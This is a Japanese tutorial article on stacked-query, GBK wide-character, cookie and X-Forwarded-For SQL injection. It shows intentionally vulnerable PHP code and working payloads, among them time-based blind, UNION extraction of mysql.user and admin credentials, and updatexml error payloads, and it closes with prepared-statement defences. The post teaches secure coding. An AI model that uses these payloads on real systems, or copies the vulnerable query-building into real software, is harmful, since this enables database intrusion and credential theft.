概要
前回の記事では、UNIONインジェクションやエラーベースインジェクション、ブールブラインドインジェクションについて解説しました。今回はそれに続き、スタック型インジェクション、ワイドキャラクタインジェクション、Cookie経由のインジェクション、およびX-Forwarded-For(XFF)ヘッダーを利用した攻撃手法について詳細に分析します。
SQLインジェクションの発生条件
SQLインジェクション脆弱性が成立するには以下の2つの条件が必要です:
- パラメータがユーザーによって制御可能であること:フロントエンドからバックエンドへ渡される値が、攻撃者によって自由に変更できる。
- そのパラメータがSQL文に直接連結され、データベースで実行されること:入力値が適切にエスケープまたはプリペアドステートメントで処理されておらず、動的にSQLを構築している。
したがって、開発時には「外部からのすべての入力は信頼できない」という原則に基づいてコーディングを行う必要があります。
主なインジェクションタイプの実装例と分析
複数SQL文の連続実行(Stacked Queries)
MySQLではセミコロン(;)で区切ることにより、複数のSQL文を一度に実行することが可能です。この機能を悪用して、本来のクエリの後に任意のSQL文を追加する攻撃が「スタック型インジェクション」です。PHPのPDOを使用していても、prepareを使わず文字列結合でクエリを生成すると、依然としてリスクがあります。
<?php
$pdo = new PDO("mysql:host=127.0.0.1;dbname=testdb", "root", "password");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$id = $_GET['id'];
$sql = "SELECT * FROM members WHERE id = '" . $id . "'";
$stmt = $pdo->query($sql); // prepare未使用 → 危険!
foreach ($stmt as $row) {
echo htmlspecialchars($row['name']) . "<br>";
}
?>
上記のコードでは、id パラメータに以下のような値を指定することで、第二クエリを実行できます:
' ; SELECT IF(ASCII(SUBSTR(database(),1,1))=116, SLEEP(5), 0) --
このように、時間差応答(Time-based Blind SQLi)を利用してデータベース名などの情報を抽出可能です。注意すべき点として、PDOでquery()を使っても複数文の実行は可能ですが、結果セットは最初のクエリのみ返されるため、情報取得には盲注技術が不可欠です。
マルチバイト文字によるエスケープ回避(Wide Character Injection)
特にGBKやBIG5などのマルチバイトエンコーディングを使用する環境では、サニタイズ処理の不備を突いたインジェクションが可能です。たとえば、addslashes()関数はシングルクォートをバックスラッシュ(\)でエスケープしますが、バックスラッシュのバイト値(%5C)と前のバイト(例: %DF)が合体して有効な漢字となるケースがあります。
<?php
$conn = mysqli_connect("localhost", "root", "password", "testdb");
mysqli_query($conn, "SET NAMES gbk");
$id = addslashes($_GET["id"]);
$query = "SELECT * FROM members WHERE name = '$id' LIMIT 1";
$result = mysqli_query($conn, $query);
if ($row = mysqli_fetch_assoc($result)) {
echo "User: " . $row["name"];
} else {
echo "Not found.";
}
echo "<br><small>Executed SQL: " . htmlspecialchars($query) . "</small>";
?>
ここで攻撃者が次のようにリクエストすると:
?id=%df%27 UNION SELECT 1,concat(user,0x3a,password) FROM mysql.user--
%df + %5c(addslashesにより挿入されたバックスラッシュ)が「綅」という文字として解釈され、シングルクォートがエスケープされず有効なSQLとして処理されます。これにより、UNIONベースのデータ抽出が可能になります。
Cookie経由のインジェクション
多くの場合、開発者はGET/POSTパラメータの検証に集中しがちですが、Cookie内の値も同様に入力元として扱われるべきです。次のコードを見てください:
<?php
$userId = isset($_COOKIE['user_id']) ? $_COOKIE['user_id'] : '1';
$conn = new mysqli("localhost", "root", "password", "testdb");
$sql = "SELECT username, email FROM users WHERE id = " . $userId;
$result = $conn->query($sql);
if ($row = $result->fetch_assoc()) {
echo "Hello, " . htmlspecialchars($row['username']);
}
?>
Cookieのuser_idに1 AND 1=2 UNION SELECT username, password FROM admin_users LIMIT 1を設定し、プロキシツール(Burp Suiteなど)でリクエストを改ざんすれば、認証情報の漏洩につながります。防御策としては、Cookieの値に対してもプリペアドステートメントを使用するか、ホワイトリストによるバリデーションが必要です。
X-Forwarded-For ヘッダーを介したインジェクション
プロキシやロードバランサー経由のアクセスにおいて、クライアントのIPアドレスを伝えるために使われるX-Forwarded-For(XFF)ヘッダー。これをログ記録やアクセス制御に使うアプリケーションで、そのままDBに保存している場合、インジェクションの対象になりえます。
<?php
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
$conn = new mysqli("localhost", "root", "password", "logdb");
// 危険:IPアドレスをそのままクエリに含める
$logQuery = "INSERT INTO access_log (ip, endpoint, timestamp) VALUES ('$ip', '{$_SERVER['REQUEST_URI']}', NOW())";
$conn->query($logQuery);
?>
攻撃者は次のようにリクエストヘッダーを送信できます:
X-Forwarded-For: 1.1.1.1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1
これにより、サーバーの応答遅延からデータベースの存在や構造を推測する時間盲注が可能になります。また、updatexml()関数を使ったエラーベースの抽出も有効です:
X-Forwarded-For: 1.1.1.1' AND updatexml(1, concat(0x7e, (SELECT database())), 1)--
このようなヘッダーは容易に偽装できるため、信頼できない入力として厳密に処理しなければなりません。
まとめ
本稿では、スタック型インジェクション、マルチバイト文字を活用したエスケープ回避、CookieおよびHTTPヘッダー(XFF)を介した非典型的なインジェクション経路について、実際の脆弱なコード例とともに解説しました。SQLインジェクションは必ずしもGET/POSTパラメータに限らず、あらゆるユーザー入力経路が攻撃ベクトルになり得ます。安全な開発のためには、すべての外部入力を対象としたサニタイズと、プリペアドステートメントの徹底的な使用が不可欠です。